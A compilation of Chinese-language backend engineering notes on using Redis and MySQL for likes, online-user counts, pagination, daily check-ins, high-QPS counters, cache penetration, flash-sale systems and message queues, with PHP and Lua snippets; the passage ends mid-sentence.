流程图比较简单,点赞和取消点赞基本实现步骤相同
1、参数校验: 对传入的参数进行null值判断
2、逻辑校验: 对于用户点赞,用户不能重复点赞相同的文章,对于取消点赞,用户不能取消未点赞的文章
3、存入Redis: 存入的数据主要有所有文章的点赞数、某篇文章的点赞数、用户点赞的文章
4、定时任务: 通过定时1小时执行一次,从Redis读取数据持久化到MySQL中
代码功能实现
点赞
取消点赞
异步落库
Redis实现统计在线人数的几种方案
一个业务系统网站每天人数的访问量是多少,在线人数是多少?这种业务在开发中就要预留,也是在的设计范围内的!因为一个正在运营的网站,每天都会用到统计。
那在线人数是如何统计的呢,这里有几种方案,代码用laravel框架。可以作为开发中参考。
1 用表统计方式
用数据表统计在线人数,这种方式只能用在并发量不大的情况下。
首先新建表user_login,模拟用户登录,不存在用户就存入表,存在的则更新登录信息
这里还需要定期清理无任何操作的用户,假如用户一个小时内无任何操作,可以记为无效用户
可以实现的功能:
1)当前在线人数
2)某时间段内在线人数
3)最新上线的用户
4)指定用户是否在线
2 使用redis有序集合实现在线人数统计
因为是内存中,所以效率很高,可以统计某个时间段内的在线人数,可以做各种聚合操作。但是如果在线人数比较多的情况下,会比较占用内存。还有一点:
无法通过用户操作时间清除掉无效用户,只有手动登出的用户才会从集合中删除。
3 使用hyperloglog做统计
跟有序集合方式不同,hyperloglog十分节约空间,但实现的功能也非常单一,只能统计在线人数,不能实现其余的任何功能。
Redis HyperLogLog是用来做基数统计的算法,HyperLogLog的优点是在输入元素的数量或体积非常非常大时计算基数所需的空间总是固定的、并且是很小的。
在Redis里面每个HyperLogLog键只需要花费12KB内存,就可以计算接近2^64个不同元素的基数。这和计算基数时,元素越多耗费内存就越多的集合形成鲜明对比。
但因为HyperLogLog只会根据输入元素来计算基数,而不会储存输入元素本身,所以HyperLogLog不能像集合那样,返回输入的各个元素。
这种方案仅仅只能统计出某个时间段在线人数的总量, 对在线用户的名单却无能为力,但是却挺节省内存的,对统计数据要求不多情况下便可以考虑这种方案。
4 使用bitmap统计
bitmap就是通过一个bit位表示某个元素对应的值或状态,其中的key就是对应元素本身。8个bit可以组成一个Byte,所以bitmap本身会极大的节省储存空间。
bitmap常用来做比如用户签到、活跃用户、在线用户等功能。
bitmap消耗的内存空间不多, 统计的信息却挺多的,这种方案是值得推荐一下的
在Redis中进行分页排序查询
redis是一个高效的内存数据库,它支持包括String、List、Set、SortedSet和Hash等数据类型的存储,在Redis中通常根据数据的key查询其value值,Redis没有条件查询,在面对一些需要分页或排序的场景时(如评论,时间线),Redis就不太好不处理了。 前段时间在项目中需要将每个主题下的用户的评论组装好写入Redis中,每个主题会有一个topicId,每一条评论会和topicId关联起来,得到大致的数据模型如下:
将评论数据从MySQL查询出来组装好存到Redis后,以后每次就可以从Redis获取组装好的评论数据,从上面的数据模型可以看出数据都是key-value型数据,无疑要采用hash进行存储,但是每次拿取评论数据时需要分页而且还要按createDate字段进行排序,hash肯定是不能做到分页和排序的。 那就挨个看一下Redis所支持的数据类型: String 主要用于存储字符串,显然不支持分页和排序。 Hash 主要用于存储key-value型数据,评论模型中全是key-value型数据,所以在这里Hash无疑会用到。 List 主要用于存储一个列表,列表中的每一个元素按元素的插入时的顺序进行保存,如果将评论模型按createDate排好序后再插入List中,似乎就能做到排序了,而且再利用List中的LRANGE key start stop指令还能做到分页。到这里List似乎满足了分页和排序的要求,但评论还会被删除,就需要更新Redis中的数据,如果每次删除评论后都将Redis中的数据全部重新写入一次,显然不够优雅,效率也会大打折扣,如果能删除指定的数据无疑会更好,而List中涉及到删除数据的就只有LPOP和RPOP这两条指令,但LPOP和RPOP只能删除列表头和列表尾的数据,不能删除指定位置的数据,所以List也不太适合。 Set 主要存储无序集合,排除。 SortedSet 主要存储有序集合,SortedSet的添加元素指令ZADD key score member [[score,member]…]会给每个添加的元素member绑定一个用于排序的值score,SortedSet就会根据score值的大小对元素进行排序,在这里就可以将createDate当作score用于排序,SortedSet中的指令ZREVRANGE key start stop又可以返回指定区间内的成员,可以用来做分页,SortedSet的指令ZREM key member可以根据key移除指定的成员,能满足删评论的要求,所以SortedSet在这里是最适合的。 所以需要用到的数据类型有SortSet和Hash,SortSet用于做分页排序,Hash用于存储具体的键值对数据 在SortSet结构中将每个主题的topicId作为set的key,将与该主题关联的评论的createDate和commentId分别作为set的score和member,commentId的顺序就根据createDate的大小进行排列。当需要查询某个主题某一页的评论时,就可主题的topicId通过指令zrevrange topicId (page-1)×10 (page-1)×10+perPage这样就能找出某个主题下某一页的按时间排好顺序的所有评论的commintId。page为查询第几页的页码,perPage为每页显示的条数。当找到所有评论的commentId后就可以把这些commentId作为key去Hash结构中去查询该条评论对应的内容,这样就利用SortSet和Hash两种结构在Redis中达到了分页和排序的目的。 可能会有一个小问题,如果在分页查询过程中,有新数据插入或者删除数据,那么已有数据的索引值会改变,这样就会查到重复数据或者遗失数据了。 而Zrevrangebyscore,如果将数据插入时间点作为score,那么通过score来划分范围,肯定不会出现数据重复或丢失的情况。 zrevrangebyscore命令 这个命令应该只保证每页范围一致,做到不遗漏数据,但不保证每页数据总数一定,Zrevrangebyscore命令后面的命令值就是分数值,所以有数据总数不一致情况 一般不适用于传统每页多少条数据的分页方式,比较适合于瀑布流或者评论那种动态加载数据的方式。 1. zrange的第一个数据是索引为0的数据,而zrangebyscore的第一个数据,是score值最小的那个数据 2. zrange传入的参数是"索引"的含义,而zrangebyscore就是单纯的一个数值的含义 3. zrange查询的结果个数<= 查询区间长度,也就是说 ,区间多长就查询出多少个结果出来(数据不少于区间长度,足够多的情况下),而zrangebyscore的查询结果个数视实际数据而定,也就是凡是符合区间的数据全部查询出来 4. 所以在分页查询的需求下,zrange可以保证每页的数据量,而zrangebyscore不能保证。 如果有数据更新,zrange就会出现数据查询重复和遗漏的情况。而zrangebyscore却由于符合条件则全部查询出来的特性,而不会出现重复和遗漏。利用redis实现分页列表,新增,删除功能
MySQL和Redis实现用户签到
用户签到是提高用户粘性的有效手段,微博签到送积分,签到排行榜,移动app签到送流量等活动
一. 方案1
直接存到数据库MySQL
last_checkin_time 上次签到时间
checkin_count 连续签到次数
用户表记录每个用户签到信息
签到流程
1.用户第一次签到
last_checkin_time = time()
checkin_count=1
2.用户非第一次签到,且当天已签到
什么也不做,返回已签到。
3.用户非第一次签到,且当天还未签到
a.昨天也有签到
last_checkin_time = time()
checkin_count= checkin_count+1
b.昨天没有签到
last_checkin_time = time()
checkin_count=1
使用yii实现的代码如下:
//0点
$today_0 = strtotime(date('y-m-d'));
//昨天0点
$yesterday_0 = $today_0-24*60*60;
$last_checkin_time = $model->last_checkin_time;
if(empty($last_checkin_time)){
//first checkin
$model->last_checkin_time = time();
$model->checkin_count = 1;
}else{
if($today_0 < $last_checkin_time){
//checkin ed 当天已签到过
return json_encode(['code' => 0, 'msg' => '已签到成功']);
}
//昨天签到过
if($last_checkin_time < $today_0 && $last_checkin_time > $yesterday_0){
$model->last_checkin_time = time();
$model->checkin_count = $model->checkin_count + 1;
}else{
//昨天没签到过,重新计数
$model->last_checkin_time = time();
$model->checkin_count = 1;
}
}
$rs = $model->save();
二. 方案2
redis实现方案,使用bitmap来实现,bitmap是redis 2.2版本开始支持的功能,一般用于标识状态,
另外 ,用bitmap进行当天有多少人签到非常的方便,使用bitcount
$count = $redis->BITCOUNT($key);
签到流程
设置两个bitmap ,
一个以每天日期为key ,每个uid为偏移量
一个以用户uid为key ,当天在一年中的索引为偏移量,
这样记录一个用户一年的签到情况仅需要365*1bit
以下是签到代码
//每天一个key
$key = 'checkin_' . date('ymd');
if($redis->getbit($key, $uid)){ //已签到
return json_encode(['code' => 0, 'msg' => '已签到成功']);
}else{ //签到
$redis->setbit($key, $uid, 1);
$redis->setbit('checkin_'.$uid , date('z'), 1);
}
以下是用户连续签到计算
public static function getUserCheckinCount($uid){
$key = 'checkin_'.$uid;
$index = date('z');
$n = 0;
for($i = $index; $i>=0;$i--){
$bit = Yii::$app->redis->getbit($key, $i);
if($bit == 0) break;
$n++;
}
return $n;
}
以下是计算一天签到用户数
$key = 'checkin_' . date('ymd');
$redis = Yii::$app->redis;$count = $redis->BITCOUNT($key);
三. 优缺点比较
1.直接MySQL
思路简单,容易实现;
缺点:占用空间大,表更新比较多,影响性能,数据量大时需要用cache辅助;
2.Redis bitmap
优点是:
占用空间很小,纯内存操作,速度快;
缺点是 :
记录的信息有限,只有一个标识位;
偏移量不能大于2^32,512M;大概可以标识5亿个bit位,绝大多数的应用都是够用的啦;
偏移量很大的时候可能造成 Redis 服务器被阻塞;所以要考虑切分。
每秒30W次的点赞业务怎么优化
30WQPS的点赞计数业务的特点是:
(1)吞吐量超高;
(2)能够接受一定数据不一致,计数有微小不准确,不是大问题。
先用最朴素的思想,只考虑点赞计数,可以怎么做?有几点是最容易想到的:
(1)肯定不能用数据库抗实时读写流量;
(2)redis天然支持固化,可以用高可用redis集群来做固化存储;
(3)也可以用MySQL来做固化存储,redis做缓存,读写操作都落缓存,异步线程定期刷DB;
(4)架一层计数服务,将计数与业务逻辑解耦;
此时MySQL核心数据结构是:
t_count(msg_id, praise_count)
此时redis的KV设计也不难:
key:msg_id
value:praise_count
似乎很容易就搞定了:
(1)服务可以水平扩展;
(2)数据量增加时,数据库可以水平扩展;
(3)读写量增加时,缓存也可以水平扩展;
计数系统的难点还在于业务扩展性问题及效率问题,以微博为例:
(1)用户微博首页,有多条消息list< msg_id>,这是一种扩展;
(2)同一条消息msg_id,不止有点赞计数,还有阅读计数,转发计数,评论计数,这也是一种扩展;
假如用最朴素的方式实现,多条消息多个计数的获取伪代码如下:
// (1)获取首页所有消息msg_id
list< msg_id> = getHomePageMsg(uid);
// (2)对于首页的所有消息要拉取多个计数
for( msg_id in list< msg_id>){
getReadCount(msg_id); //(3.1)获取阅读计数
getForwordCount(msg_id); //(3.2)获取转发计数
getCommentCount(msg_id); //(3.3)获取评论计数
getPraiseCount(msg_id); //(3.4)获取赞计数
}
由于同一个msg_id多了几种业务计数,redis的key需要带上业务flag,升级为:
msg_id:read
msg_id:forword
msg_id:comment
msg_id:praise
用来区分共一个msg_id的四种不同业务计数,redis不能支持key的模糊操作,必须访问四次reids。
假设首页有100条消息,这个方案总结为:
(1)for循环每一条消息,100条消息100次;
(2)每条消息4次RPC获取计数接口调用;
(3)每次调用服务要访问reids,拼装key获取count;
这种方案的扩展性和效率是非常低的,那如何进行优化呢?
首先看下数据库层面元数据扩展,常见的扩展方式是,增加列,记录更多的业务计数
msg_id -> read_count -> forward_count -> comment_count -> praise_count
1 -> 100 -> 200 -> 300 -> 400
由一列点赞计数,扩充为四列阅读、转发、评论、点赞计数。
增加列这种业务计数扩展方式的缺点是:每次要扩充业务计数时,总是需要修改表结构,增加列,很烦。
有没有不需要变更表结构的扩展方式呢?行扩展是一种扩展性更好的方式。
msg_id -> count_key -> count_value
1 -> read_count -> 100
1 -> forward_count -> 200
1 -> comment_count -> 300
1 -> praise_count -> 400
表结构固化为:
t_count(msg_id, count_key, count_value)
当要扩充业务计数时,增加一行就行,不需要修改表结构。
画外音:很多配置业务会使用这种方案,方便增加配置。
增加行这种业务计数扩展方式的缺点是:表数据行数会增加,但这不是主要矛盾,数据库水平扩展能很轻松解决数据量大的问题。
接下来看下redis批量获取计数的优化方案。
key -> value
1:read_count -> 100
1:forword_count -> 100
1:praise_count -> 100
1:comment_count -> 100
原始方案,通过拼装key来区分同一个msg_id的不同业务计数。
可以升级为,同一个value来存储多个计数,同一个msg_id的四个计数,存储在一个value里,从而避免多次redis访问
key -> value
1 -> 100:200:300:400
总结
计数业务,在数据量大并发量大的时候,要考虑的一些技术点:
(1)用缓存抗读写;
(2)服务化,计数系统与业务系统解耦;
(3)水平切分扩展吞吐量、数据量、读写量;
(4)要考虑扩展性,数据库层面常见的优化有:列扩展,行扩展两种方式;
(5)要考虑批量操作,缓存层面常见的优化有:一个value存储多个业务计数;
评论:
设计并发时有问题。用hash支持对单个属性的原子加减。像这么大的数据量,又必须准确记录每个用户的点赞历史,可以考虑在点赞接口请求的时候同步维护redis中内容的相关统计值,异步处理落库点赞数据(使用kafka或rabbitMQ处理)。如果是大型网站,点赞数据应该也是落Hbase等NoSQL比较合理。
redis里一个value有4个值,累加的时候是怎么实现的?我能想到的是冒号分割以后单独统计再更新value,但是这样好像会有并发问题,有大佬知道怎么做吗?
- 累加的时候是不太方便
- 用HASH,msgID做KEY,多个属性值单独存储,并发更新也不用加锁,获取的时候,一次性读值过来,避免读多次
- 加减会变慢,还要加锁
- 写个lua脚本保证原子性就不需要锁了
用redis的bitset统计,1000w的用户也就占用空间10m,还不会有并发问题
用户协议功能
需求 一个APP新提出一个叫"程序员树洞"的功能,其中这个功能有一点需要做的是在使用该功能时,如果是首次进入会展示一个协议页面,用户需要勾选后点确定才能进入功能,此后再进该功能,不再显示协议页直接进入该功能 需求分析 1、用户点击该功能时前端需要知道该给用户显示哪个页面,这一步需要请求后端接口,后台告诉前端这个用户有没有同意过协议。 2、用户勾选协议点确定,后端需要记录这步操作(记录用户已经同意协议),这一步需在点确定时前端请求后端接口。 概要设计 后端需要告诉前端用户有没有统一过协议,所以后端需要把这个信息记录下来,最好是记录到数据库保存,那就需要一张表来记录同意过协议的用户。表结构大致是: id,客户号,插入时间。 详细设计 1、记录客户是否已同意过协议并提供查询功能(查询是否同意过协议) 2、没有同意过的和同意过的用户信息怎么存储 3、如何高效的查询是否同意过 4、怎么保证高并发下服务的可用性,数据库的可用性 功能实现 后端提供两个接口 1、hasAgree(),查询该用户是否已同意协议 2、recordAgree(),记录用户已同意协议 第一版 DB 用户进来先查数据库有没有记录,没有返回用户没有同意过协议,前端给用户展示协议页,否则展示功能页;用户点同意后,后台记录用户已点了同意协议,记录到库。一个查询一个插入 第一版代码如果用户量不大,该功能的点击量不大的话还是勉强说得过去,但存在隐患,每次点击都会去查库,假如有人恶意攻击,仿造高并发,瞬时大量请求过来都去查库,每次查库也都是浪费,很可能数据库顶不住就挂了 第二版 引入Redis缓存 考虑到每次查库很浪费,那使用缓存,进来先查缓存有没有对应的数据,缓存里有就直接返回,没有则查库,库里有就存缓存,这样redis就分担了一部分数据库的压力。 第三版 解决缓存穿透 随着客户量的增加,点击这个功能的次数、频率越来越高,假如有人频繁点击该功能,弹出协议后退出,再点再退出…,这样的话后台缓存中没有,数据库中也没有,每次都会走数据库,绕过了缓存,直接都走数据库,这类请求量多了也是个问题,这就是缓存穿透。所以第三版解决缓存穿透的问题。 因为是数据库和缓存都没有,可以让数据库没有的也存到redis。需要改变redis的数据类型,由set改为map,目的是记录状态值。 key-field-value没有设置过期时间,因为可以认为这个key是一个热点key,对于热点key的处理方式是永久有效或过期时间尽量长一点。 缓存穿透应对的方法也很简单,查询不到的数据,也缓存到Redis中,并设置数据的过期时间。 举个不一定恰当的例子,例如Redis中缓存员工信息,提供接口根据工号查询员工信息: 接口入参工号A001。 系统先在Redis中查询,查询不到。 系统去数据库中查询,也查询不到。 系统插入Redis,key=A001,value=null,设置过期时间五分钟。 这样五分钟之内再根据A001查询不会穿透到数据库。 四分钟后数据库中插入了A001的数据。 五分钟后Redis中数据过期,下一次请求过来会查询数据库,并把信息加载到Redis中。 第四版 缓存预热防止缓存击穿 另一个关于缓存的问题是缓存击穿。 假如该功能在前期宣传力度比较大,或预计该功能上线后点击量比较大的话,那么在功能上线后很可能就会一瞬间大量用户来点击这个功能,因为前面的逻辑是首次进入该功能的用户展示协议页,后台处理虽然加了redis缓存,但新上的功能所有用户都没有点过,redis里就没有缓存,所有用户请求都落到数据库,一旦瞬间流量非常大,数据库安全性就存在隐患,有被搞垮的可能。 这个问题就是可以理解为缓存击穿,实际的缓存击穿是某个key在缓存里不存在或是失效后,某一瞬间很多请求都来访问这个key,都判定为redis里没有这个key,就都去查库 解决:可以在该功能上线前,提前将需要做缓存的数据放入redis,即缓存预热,将所有用户的信息都放到redis,举个栗子使用Redis的hash数据结构,key-field-value。key可以固定一个字符串如coderTreeHole_Agreement_Check,field可以用客户号(唯一),value是个标志位,用0代表没同意过协议,1代表同意过。一般在电商大促前都会对热点key进行预热,不然扛不住。 用户量很大的时候redis里的coderTreeHole_Agreement_Check这个key很大,在redis集群部署模式下这个key都放在一个节点上 redis3.0上加入了cluster模式,实现的redis的分布式存储,也就是说每台redis节点上存储不同的内容。在redis的每一个节点上都有这么两个东西,一个是插槽(slot),它的的取值范围是0-16383。还有一个就是cluster,可以理解为是一个集群管理的插件。当存取的key到达时redis会根据crc16的算法得出一个结果,然后把结果对16384求余数,这样每个key都会对应一个编号在0-16383���间的哈希槽,通过这个值去找到对应的插槽所对应的节点,然后直接自动跳转到这个对应的节点上进行存取操作。 对于这个大key而且是热点key的请求,是不是都落到某一个redis节点上了?大key会带来很多问题 针对这个需求,你还有什么方法防治缓存击穿? 第五版 消息队列削峰填谷 可以看到上面的设计其实都是实时对数据库进行操作的。 例如,当用户点了同意,前端就调后台的recordAgree方法将该记录记录到数据库,即这条记录是立马插入到数据库的。 如果刚上线这个功能,大量用户同时点这个功能,并发量大的话,请求走到后台,那么写库的操作就非常多,数据库连接数突然激增,数据库会顶不住 所以为避免流量集中落到数据库,此时可以使用消息队列MQ。将插入操作的请求发往消息队列,使插入操作以一定的速率到数据库执行,使得对数据库的请求数尽量平滑,消息发给消息队列立即返回给前端成功,不用等待插库完成,用MQ实现了异步解耦,削峰填谷,MQ的使用注意的点还是非常多的,如: 消息队列的消息重复消费问题,顺序问题,事务消息等。 总结 对于这个需求设计到哪种程度取决于用户量和并发量,如果是像双十一那样,肯定是要用消息队列的,那一般小的例如用户量1千万,日活10万,请求最集中的也就是中午9-12点,下午13-17点,差不多8个小时,平均一个小时1.25万,用户都来点这个功能的话,每分钟208,每秒3.5,算不上高并发,数据库完全扛得住。
秒杀系统
秒杀活动可以分为3个阶段: 秒杀前: 用户不断刷新商品详情页,页面请求达到瞬时峰值。 秒杀开始: 用户点击秒杀按钮,下单请求达到瞬时峰值。 秒杀后: 一部分成功下单的用户不断刷新订单或产生退单操作,大部分用户继续刷新商品详情页等待退单机会。 消费者提交订单,一般做法是利用数据库的行级锁,只有抢到锁的请求可以进行库存查询和下单操作。但高并发的情况下数据库无法承担如此大的请求,往往会使整个服务blocked,在消费者看来就是服务器宕机 秒杀系统架构图

秒杀系统的流量虽然很高,但实际有效流量十分有限。利用系统的层次结构,在每个阶段提前校验,拦截无效流量,可以减少大量无效的流量涌入数据库
[利用浏览器缓存和CDN抗压静态页面流量]
秒杀前用户不断刷新商品详情页造成大量的页面请求,所以需要把秒杀商品详情页与普通的商品详情页分开。对于秒杀商品详情页尽量将能静态化的元素尽量静态化处理,除了秒杀按钮需要服务端进行动态判断,其他的静态数据可以缓存在浏览器和CDN上。这样秒杀前刷新页面导致的流量进入服务段的流量只有很小的一部分
[利用阿里云读写分离Redis缓存拦截流量]
CDN是第一级流量拦截,第二级流量拦截使用支持读写分离的阿里云Redis。在这一阶段主要读取数据,读写分离Redis能支持高大60万以上qps的,完全可以支持需求
首先通过数据控制模块,提前将秒杀商品的缓存到阿里云读写分离Redis,并设置秒杀开始标记:
"goodsId_count": 100 //总数
"goodsId_start": 0 //开始标记
"goodsId_access": 0 //接受下单数
秒杀开始前,服务集群读取goodsId_Start为0,直接返回未开始。
数据控制模块将goodsId_start改为1,标志秒杀开始。
服务集群缓存开始标记位并开始接受请求,并记录到redis中goodsId_access,商品剩余数量为(goodsId_count - goodsId_access)。
当接受下单数达到goodsId_count后,继续拦截所有请求,商品剩余数量为0
可以看出,最后成功参与下单的请求只有少部分可以被接受。在高并发的情况下,允许稍微多的流量进入。因此可以控制接受下单数的比例
[利用阿里云主从版Redis缓存加速库存扣量]
成功参与下单,进入下层服务,开始进行订单信息校验,库存扣量。为了避免直接访问数据库,使用阿里云主从版Redis进行库存扣量,阿里云主从版Redis提供10万级别的QPS。使用Redis来优化库存查询,提前拦截秒杀失败的请求,将大大提高系统的整体吞吐量。也是通过数据控制模块提前将库存存入Redis:
//将每个秒杀商品在redis中用一个hash结构表示
"goodsId" : { "Total": 100 "Booked": 100}
扣量时服务器通过请求Redis获取下单资格,通过lua脚本实现,由于Redis时单线程模型,lua可以保证多个命令的原子性:
lua脚本:
local n = tonumber(ARGV[1])if not n or n == 0 then return 0 end local vals = redis.call("HMGET",KEYS[1],"Total","Booked");local total = tonumber(vals[1])local blocked = tonumber(vals[2])if not total or not blocked then return 0 end if blocked + n <= total then redis.call("HINCRBY",KEYS[1],"Booked",n) return n; end return 0
先使用SCRIPT LOAD将lua脚本提前缓存在Redis,然后调用EVALSHA调用脚本,比直接调用EVAL节省网络带宽:
redis 127.0.0.1:6379>SCRIPT LOAD "lua code""438dd755f3fe0d32771753eb57f075b18fed7716"redis127.0.0.1:6379>EVAL 438dd755f3fe0d32771753eb57f075b18fed7716 1 goodsId 1
秒杀服务通过判断Redis是否返回抢购个数n,即可知道此次请求是否扣量成功。
[使用阿里云主从版Redis实现简单的消息队列异步下单入库]
扣量完成后,需要进行订单入库。如果商品数量较少的时候直接操作数据库即可。如果秒杀的商品是1万,甚至10万级别,那数据库锁冲突将带来很大的性能瓶颈。因此利用消息队列组件,当秒杀服务将订单信息写入消息队列后,即可认为下单完成,避免直接操作数据库。
消息队列组件依然可以使用Redis实现,在R2中用list数据结构表示:
orderList { [0] = {订单内容} [1] = {订单内容} [2] = {订单内容} ...}
将订单内容写入Redis:
LPUSH orderList {订单内容}
异步下单模块从Redis中顺序获取订单信息,并将订单写入数据库:
BRPOP orderList 0
通过使用Redis作为消息队列,异步处理订单入库,有效的提高了用户的下单完成速度。
[数据控制模块,管理秒杀数据同步]
最开始利用阿里云读写分离Redis进行流量限制,只让部分流量进入下单。对于下单检验失败和退单等情况,我们需要让更多的流量进来。因此,数据控制模块需要定时将数据库中的数据进行一定的计算,同步到主从版Redis,同时再同步到读写分离的Redis,让更多的流量进来。
【 如何设计一个高可用、高并发秒杀系统 】
秒杀系统的难点
友好的用户体验
用户不能接受破窗的体验,如系统超时、系统错误的提示,或直接404页面
瞬时高并发流量的挑战
木桶短板理论,整个系统的瓶颈往往都在DB
客户端 -> 接入层 -> 逻辑层 -> DB
这是一个典型的互联网业务,用户完成一个写操作,一般会通过接入层和逻辑层,这里的服务都是无状态,可以通过平行拓展去解决高并发的问题;到了db层,必须要落到介质中,可以是磁盘/ssd/内存,如果出现key的冲突,会有一些并发控制技术,例如 cas/加锁/串行排队等。
直筒型
直筒型业务,指用户请求1:1的洞穿到db层。在比较简单的业务中才会采用这个模型。随着业务规模复杂度上来,一定会有db和逻辑层分离、逻辑层和接入层分离。
漏斗型
漏斗型业务,指用户的请求从客户端到db层层层递减,递减的程度视业务而定。例如当10w人去抢1个物品时,db层的请求在个位数量级,这就是比较理想的模型。如下图所示
这个模型是高并发的基础,翻译一下就是下面这些: 及早发现,及早拒绝 Fast Fail 前端保护后端 如何实现漏斗型系统 漏斗型系统需要从产品策略/客户端/接入层/逻辑层/DB 层全方位立体的设计。
产品策略 轻重逻辑分离,以秒杀为例,将抢到和到账分开; 抢到,是比较轻的操作,库存扣成功后就可以成功了 到账,是比较重的操作,需要涉及到到事务操作 用户分流,以整点秒杀活动为例,在1分钟内,陆续对用户放开入口,将所有用户请求打散在60s内,请求就可以降一个数量级 页面简化,在秒杀开始的时候,需要简化页面展示,该时刻只保留和秒杀相关的功能,例如秒杀开始时页面可以不展示推荐的商品。 客户端 重试策略非常关键,如果用户秒杀失败了,频繁重试,会加剧后端的雪崩。如何重试呢?根据后端返回码的约定,有两种方法: 不允许重试错误,此时ui和文案都需要有一个提示,同时不允许重试 可重试错误,需要策略重试,例如二进制退避法,同时文案和ui需要提示。 ui和文案,秒杀开始前后,用户的所有异常都需要有精心设计的ui和文案提示。例如:当前活动太火爆,请稍后再重试、你的货物堵在路上,请稍后查看等 前端随机丢弃请求可以作为降级方案,当用户流量远远大于系统容量时,人工下发随机丢弃标记,用户本地客户端开始随机丢弃请求。 接入层 所有请求需要鉴权,校验合法身份 如果是长链接的服务,鉴权粒度可以在session级别;如果是短链接业务,需要应对这种高并发流量,例如cache等 根据后端系统容量,需要一个全局的限流功能,通常有两种做法: 设置好N后,动态获取机器部署情况M,然后下发单机限流值N/M。要求请求均匀访问,部署机器统一。 维护全局key,以时间戳建key。有热key问题,可以通过增加更细粒度的key或定时更新key的方法。 对于单用户/单ip需要频控,主要是防黑产和恶意用户。如果秒杀是有条件的,例如需要完成xxx任务,解锁资格,对于获得资格的步骤,可以进行安全扫描,识别出黑产和恶意用户。 逻辑层 逻辑层首先应该进入校验逻辑,例如参数的合法性,是否有资格,如果失败的用户快速返回,避免请求洞穿到db。 异步补单,对于已经扣除秒杀资格的用户,如果发货失败后,通常的两种做法是: 事务回滚,回滚本次行为,提示用户重试。这个代价特别大,而且用户重试和前面的重试策略结合的话,用户体验也不大流畅。 异步重做,记录本次用户的log,提示用户稍后查看,正在发货中,后台在峰值过后,启动异步补单。需要服务支持幂等 对于发货的库存,需要处理热key。通常的做法是,维护多个key,每个用户固定去某个查询库存。对于大量人抢红包的场景,可以提前分配。 存储层 对于业务模型而言,对于db的要求需要保证几个原则: 可靠性 主备:主备能互相切换,一般要求在同城跨机房 异地容灾:当一地异常,数据能恢复,异地能选主 数据需要持久化到磁盘,或者更冷的设备 一致性 对于秒杀而言,需要严格的一致性,一般要求主备严格的一致。 实践——微视集卡瓜分系统 微视集卡瓜分项目属于微视春节项目之一。用户的体验流程如下:
架构图
客户端主要是微视主app和h5页面,主app是入口,h5页面是集卡活动页面和瓜分页面。 逻辑部分为分:发卡来源、集卡模块、奖品模块,发卡来源主要是任务模块;集卡模块主要由活动模块和集卡模块组成。瓜分部分主要在活动控制层。 奖品模块主要是发钱和其他奖品。 瓜分降级预案 为了做好瓜分时刻的高并发,对整个系统需要保证两个重要的事情: 全链路梳理,包括调用链的合理性和时延设置 降级服务预案分析,提升系统的鲁棒性 如下图所示,是针对瓜分全链路调用分析如下图,需要特别说明的几点:
时延很重要,需要全链路分析,不但可以提高吞吐量,而且可以快速暴露系统的瓶颈。 峰值时刻,补单逻辑需要关闭,避免加剧雪崩。 降级预案大概如下: 一级预案,瓜分时刻前后 5 分钟自动进入: 入口处 1 分钟内陆续放开入口倒计时,未登录用户不弹入口 主会场排队,进入主会场以 100wqps 为例,超过了进入排队,由接入层频控控制 拉取资格接口排队,拉取资格接口 100wqps,超过了进入排队,由接入层频控控制 抢红包排队,抢红包 100wqps,超过了进入排队,由接入层频控控制 红包到账排队,如果资格扣除成功,现金发放失败,进入排队,24 小时内到账。异步补单 入口处调用后端非关键 rpc:ParticipateStatus,手动关闭 异步补单逻辑关闭。 二级预案,后端随机丢请求,接入层频控失效或者下游服务过载,手动开启进入 三级预案,前端随机丢请求,后端服务过载或者宕机进入。手动开启 综上,整个瓜分时刻体验如下所示:
回顾下漏斗模型,总结下整个实践:
消息队列 MQ (Message queue)
消息队列是一种进程间通信或同一进程的不同线程间的通信方式 消息队列技术是分布式应用间交换信息的一种技术,消息队列可驻留在内存或磁盘上,队列存储消息直到它们被应用程序读出。通过消息队列应用程序可独立地执行,它们不需要知道彼此的位置、或在继续执行前不需要等待接收程序接收此消息 消息队列本质是队列结构中间件,消息放入后可以立即返回,而不需要立即处理,由订阅者/消费者按顺序读取处理 遇到大并发或耗时长的环节的时候,同时又不需要立即获得其返回结果就可以使用消息队列 业务系统 ---入队---> 消息队列 ---出队---> 队列处理系统 类似于消费者和生产者的关系,首先生产者在消息队列未满时才将生产的产品放进消息队列中;消费者在消息队列不为空时才从消息队列中取出产品进行消费。出队的那个步骤常用的方法是一直轮询和定时操作 也是解耦的原理: 业务系统和队列处理系统没有直接关系,一个写(业务系统),一个读(队列管理系统) 写的只管往队列里写,别的不用操心,读的能不能读完和写的也没有关系 读的只管从队列里往外读,来活儿就干,没活儿歇着 消息队列本质是队列,其最简单的操作就是入队和出队,既按照程序决定何时何条件入队和何时何条件出队,遇到入队系统和出队系统的业务诉求不一致时就可以考虑用消息队列来实现 消息队列有同步或异步实现方式,通常采用异步方式使用消息队列,远程过程调用多采用同步方式。 MQ与RPC有什么不同? MQ通常传递无规则协议,这个协议由用户定义并且实现存储转发;而RPC通常是专用协议,调用过程返回结果。 【 应用场景 】 冗余: 持久化的存储在队列中,后续由订单处理程序获取,处理完成之后再把这条记录进行删除 解耦: 入队和出队的系统没有直接的关系,其中一套蹦了,另一套系统不会受影响,因为中间隔了个队列 流量削锋: 秒杀和抢购。流量剧增,配合缓存使用消息队列来限制下,如只允许10个,队列里存10个之后就不存了,再来就提示秒杀结束 异步通信: 因为消息本身就可使入队的系统直接返回,所以说实现了程序的异步操作 场景扩展性: 如现在只有订单系统和财务系统,后续想加个配货系统,直接让配货系统订阅这个队列就可以 排序保证: 有些场景下如银行数据的处理顺序是很重要的,因为队列本身就可以做成单线程、单进单出的系统 1、异步处理、应用解耦、分布式 场景: 主业务对子业务的处理结果并不关心时。 案例: 电商系统中通过订单系统下单成功之后将所有订单同时交给物流系统、报表系统、操作日志记录系统等 解决两个系统深度耦合的问题,使用消息队列之后两个系统入队系统和出队系统没有直接的关系,一个系统的崩溃不会影响另一个系统正常运转 通俗解释: 小明是个蛋糕店员。他做好蛋糕后,放在橱窗中,在对应订单上标记『已完成』,然后继续做下一个蛋糕,并不关心蛋糕后续是怎么卖出的,也不关心啥时候卖出。 实现: 使用一个队列的中间件或中间系统来存放几个业务系统的共用部分,并独立进行处理。可以使用每个系统各自的独立标记,对各系统的处理进度进行记录。在所有系统均完成操作后,进行出队操作或持久化存储数据。 需要考虑中间数据的容灾能力,当故障发生并恢复时保证业务流程可以恢复,保证每条数据都可以正确地完成处理。 一般订单系统和库存系统是一体的,但如果一方出现问题,那么这个订单就失败了。 订单系统: 